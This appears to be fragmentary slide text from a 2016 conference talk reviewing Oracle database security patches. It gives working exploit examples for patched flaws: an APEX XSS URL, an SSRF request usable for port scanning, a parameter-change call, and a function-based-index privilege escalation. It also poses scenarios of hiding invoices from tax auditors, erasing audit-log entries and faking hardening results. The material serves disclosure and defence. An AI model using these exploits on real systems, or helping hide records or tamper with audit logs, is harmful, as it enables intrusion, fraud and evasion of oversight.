Best of Oracle Security 2016
Best of Oracle Security 2016
* * http://www.techworm.net/2015/02/equation-group-nsa-backdoor-in-hardware-30-countries.html
Agenda
¡ Intro
¡ January 2016 - November 2016
¡ Outlook 2017
¡ Q&A
Introduction
* * http://www.oracle.com/technetwork/topics/security/cpujan2016-2367955.html
* ** http://www.davidlitchfield.com/ExploitingtheOracleWorkspaceManagerSQLRaceCondition.pdf
* *** https://github.com/foospidy/DbDat
January 2016 CPU*
* http://www.oracle.com/technetwork/topics/security/cpujan2016-2367955.html
Jan 2016 CPU- CVE-2016-0467
* http://www.davidlitchfield.com/DetailsforOraclesJanuary2016CPU.pdf
Jan 2016 CPU- CVE-2015-4921
* http://www.davidlitchfield.com/DetailsforOraclesJanuary2016CPU.pdf
Jan 2016 CPU- CVE-2015-4925
Problem: Privilege escalation via Race Condition
in WMSYS.LT.COPYFORUPDATE
Reporter: David Litchfield*
* http://www.davidlitchfield.com/DetailsforOraclesJanuary2016CPU.pdf
Jan 2016 CPU- CVE-2015-4925
SELECT COUNT(*) INTO CNT
FROM V$OPEN_CURSOR OC, V$SQL S, V$OBJECT_DEPENDENCY OD WHERE OC.SID =
USER_SID AND
[…] AND
OD.TO_TYPE IN (7,8,9,11) ;
Here, OD.TO_TYPEs 7,8,9 and 11 are functions, procedures, packages and objects. If any
such dependency exists then the user supplied query will not be executed and an error
is raised:
IF (CNT>0) THEN WMSYS.WM_ERROR.RAISEERROR(WMSYS.LT.WM_ERROR_81_NO); END IF ;
SQL_STR2 :=
'declare
delstatuses wmsys.ltUtil.number_tab ;
begin
select WM_delstatus bulk collect into delstatuses
from ' || WMSYS.LTUTIL.GETVN(TABLE_OWNER, TAB_NAME, '_BASE') || ' where
WM_version = ' || CURVER || ' and ' || NEWWHERE_CLAUSE || ' for update;
end;' ;
WMSYS.LTADM.EXECSQL(SQL_STR2) ;
Jan 2016 CPU- CVE-2015-4925
SQL> CONNECT RACER/PASSWORD
SQL> CREATE TABLE FOO(X NUMBER, CONSTRAINT X_PK PRIMARY KEY(X));
SQL> INSERT INTO FOO (X) VALUES (1);
SQL> COMMIT;
SQL> EXEC WMSYS.LT.ENABLEVERSIONING(‚FOO');
PROCEDURE WMSYS.OWNED
Argument Name Type In/Out Default?
———————————————————————————————-
P VARCHAR2 IN
February 2016
* * http://www.oracle.com/technetwork/topics/security/cpuapr2015-2365600.html
April 2016 CPU*
* http://www.oracle.com/technetwork/security-advisory/cpuapr2016v3-2985753.html
Apr 2016 CPU- CVE-2016-0690
Problem: AUDIT NOT EXISTS fails to capture
attempts to execute a procedure that does not
exist either because the user does not have the
execute privilege on it or because the
procedure does not exist. If a DBA wants to
capture attempts to execute procedures where
the user does not have the execute privilege we
must also add:
Reporter: David Litchfield*
Exploit:
* http://www.davidlitchfield.com/OracleCPUApril2016.pdf
Apr 2016 CPU- CVE-2016-0691
Problem: A "missing" (due to no execute
privilege) function is within a SELECT query the
name of the function is not logged but the
name of the table in the query
Reporter: David Litchfield*
Exploit: obvious, Create Java Source…
* http://www.davidlitchfield.com/OracleCPUApril2016.pdf
May 2016
* * http://www.oracle.com/technetwork/security-advisory/cpujul2016-2881720.html
July 2016
* * http://www.oracle.com/technetwork/security-advisory/cpujul2016-2881720.html
July 2016 CPU*
9 security fixes (5 remote exploitable)
* http://www.oracle.com/technetwork/security-advisory/cpujul2016-2881720.html
Jul 2016 CPU- CVE-2016-3448
Problem: The HTMLDB_UTIL PL/SQL package is
vulnerable to a XSS flaw. To access it the
schema (APEX_050000) needs to be specified
first however because the config file whitelists
apex*
Reporter: David Litchfield*
Exploit:
http://example.com/ords/
apex_050000.htmldb_util.JSON_FROM_ARRAY?P_COLS=1&P_NAM
E01=XX%22%3E%3CH1%3EOops%3C/H1%3E&P_F01=Y&P_ROWS=1
* http://www.davidlitchfield.com/OracleCPUApril2016.pdf
Jul 2016 CPU- CVE-2016-3467
Problem: Apex 5 is vulnerable to a server side
request forgery flaw i.e. it can be made to connect
to another web server and port regardless of
whether "allowed URLs" have been configured. For
example the request below will connect to
"someotherserver" on port and POST X as a payload.
This can be used as a port scanning mechanism,
used to attack systems protected by a firewall etc,
Reporter: David Litchfield*
Exploit:
http://example/ords/
apex_050000.WWV_FLOW_WEBSERVICES_API.MAKE_REQUEST?P_U
RL=http://someotherserver:port&p_envelope=X
* http://www.davidlitchfield.com/OracleCPUApril2016.pdf
Apr 2016 CPU- CVE-2016-3488
Problem: Package dbms_gsm_common allows
to change database parameter without the
admin privileges and restart
Reporter: Bruno Cirone
Exploit:
exec gsmadmin_internal.dbms_gsm_common.setdbparameter
('O7_DICTIONARY_ACCESSIBILITY','TRUE')
Jul 2016 CPU- CVE-2016-3488
— as SYS
SQL> select name,value from v$parameter where
name='O7_DICTIONARY_ACCESSIBILITY';
O7_DICTIONARY_ACCESSIBILITY FALSE
-- as user GSMUSER
SQL> exec gsmadmin_internal.dbms_gsm_common.setdbparameter
('O7_DICTIONARY_ACCESSIBILITY','TRUE')
PL/SQL-Prozedur erfolgreich abgeschlossen.
-- as user SYS :-Re-Run again after execution of the package
SQL> select name,value from v$parameter where
name='O7_DICTIONARY_ACCESSIBILITY';
O7_DICTIONARY_ACCESSIBILITY TRUE
July 2016 CPU- CVE-2016-3484
Problem: SYS CAN INFLUENCE DVSYS-ANALYSIS
BEGIN
SELECT DVSYS.DV_SQL_TEXT INTO TMP FROM DUAL;
IF (TMP2) LIKE '%RECYCLEBIN%' AND (TMP2) LIKE '%ON%' THEN RETURN 'N'; END IF;
RETURN 'Y';
END;
July 2016 CPU- CVE-2016-3489
Problem: Privilege escalation via INDEX privilege
and function based index (FBI)
Reporter: Alexander Kornbrust
July 2016 CPU- CVE-2016-3489
— Oracle 11.2.0.4
SYSTEM@SQL> select grantee, owner, table_name FROM DBA_TAB_PRIVS WHERE PRIVILEGE =
'INDEX' AND GRANTEE!=OWNER and owner='SYS' ;
GRANTEE OWNER TABLE_NAME
--------------------------------------------------------------------------------------
SYSTEM SYS INCEXP
SYSTEM SYS INCFIL
SYSTEM SYS INCVID
SYSTEM@SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO VARCHAR) RETURN VARCHAR
DETERMINISTIC AUTHID CURRENT_USER IS
2 PRAGMA AUTONOMOUS_TRANSACTION;
3 BEGIN
4 execute immediate 'grant select on sys.link$ to public';
5 COMMIT;
6 RETURN 'FOO';
7 END; /
==> Now create an index on the table sys.incvid using a function based index
SQL> CREATE INDEX EXPLOIT_INDEX ON SYS.INCVID(SYSTEM.GETDBA('AK'));
Index created.
COUNT(*)
----------
11
July 2016 CPU- CVE-2016-3489
-- Oracle 12.1.0.2 (SYSTEM does no longer have INHERIT ANY PRIVILEGE)
SQL> CREATE INDEX EXPLOIT_INDEX ON SYS.INCvid(SYSTEM.GETDBA('1'));
CREATE INDEX EXPLOIT_INDEX ON SYS.INCvid(SYSTEM.GETDBA('1'))
*
FEHLER in Zeile 1:
ORA-06598: Nicht ausreichende INHERIT PRIVILEGES-Berechtigung
ORA-06512: in "SYSTEM.GETDBA", Zeile 1
-- On 12.1.0.2 the user WMSYS has CREATE ANY INDEX and the SYSTEM user can use the
-- CREATE ANY PROCEDURE to create a function in the schema of WMSYS
https://www.blackhat.com/docs/us-16/materials/us-16-Litchfield-Hackproofing-Oracle-eBusiness-Suite.pdf
https://www.blackhat.com/docs/us-16/materials/us-16-Litchfield-Hackproofing-Oracle-eBusiness-Suite-wp-1.pdf
https://www.blackhat.com/docs/us-16/materials/us-16-Litchfield-Hackproofing-Oracle-eBusiness-Suite-wp-2.pdf
https://www.blackhat.com/docs/us-16/materials/us-16-Litchfield-Hackproofing-Oracle-eBusiness-Suite-wp-3.pdf
https://www.blackhat.com/docs/us-16/materials/us-16-Litchfield-Hackproofing-Oracle-eBusiness-Suite-wp-4.pdf
https://www.blackhat.com/docs/us-16/materials/us-16-Litchfield-Hackproofing-Oracle-eBusiness-Suite-wp-5.pdf
September 2016
¡ Nothing special happened
* x
October 2016
* http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html
October 2016 CPU*
* http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html
Oct 2016 CPU- CVE-2016-5497
Problem: UNSALTED MD5 HASH STILL PRESENT IN
12C DATABASE - DIGEST VERIFIER
Shown as open problem at the DOAG 2015
presentation
Reporter: Alexander Kornbrust
Oracle Password Hash 12.1.0.2+
Secret= 'XDB‘
and the hash will be
MD5(XDB:tiger)
==> Create an index on SYSTEM.HELP using a function based index (FBI). The function
getdba is used for the function based index.
SQL> CREATE INDEX EXPLOIT_INDEX ON SYSTEM.HELP(SYSMAN_APM.GETDBA('AK2'));
DOAG 2016
Modifying SQL
Statements and
Application Logic
Scenario 1
Top manager comes to the office of the DBA
and asks you:
„Tomorrow the auditor from the tax authority will
come to check our invoices. Could you hide the
10.000 EUR invoice just from the auditor from the
last party at the night club?
I will increase your salary….“
Scenario 2
Remove your own audit entries from the audit
log which is retrieved by the SIEM solution (e.g.
Splunk, QRadar, …) via JDBC
Scenario 3
You don’t have time to harden all your
databases but the security department wants to
see results.
Instead of fixing the problem you will just deliver
the proper results
A lot of different wishes…
————— dbms_macadm—————
FUNCTION CHECK_BACKUP_PARM_VARCHAR RETURN VARCHAR2 IS
TMP VARCHAR2(32767);
TMP2 VARCHAR2(32767);
BEGIN
SELECT DVSYS.DV_SQL_TEXT INTO TMP FROM DUAL;
IF (TMP2) LIKE '%RECYCLEBIN%' AND (TMP2) LIKE '%ON%' THEN RETURN 'N'; END IF;
RETURN 'Y';
END;
Migration to 12.2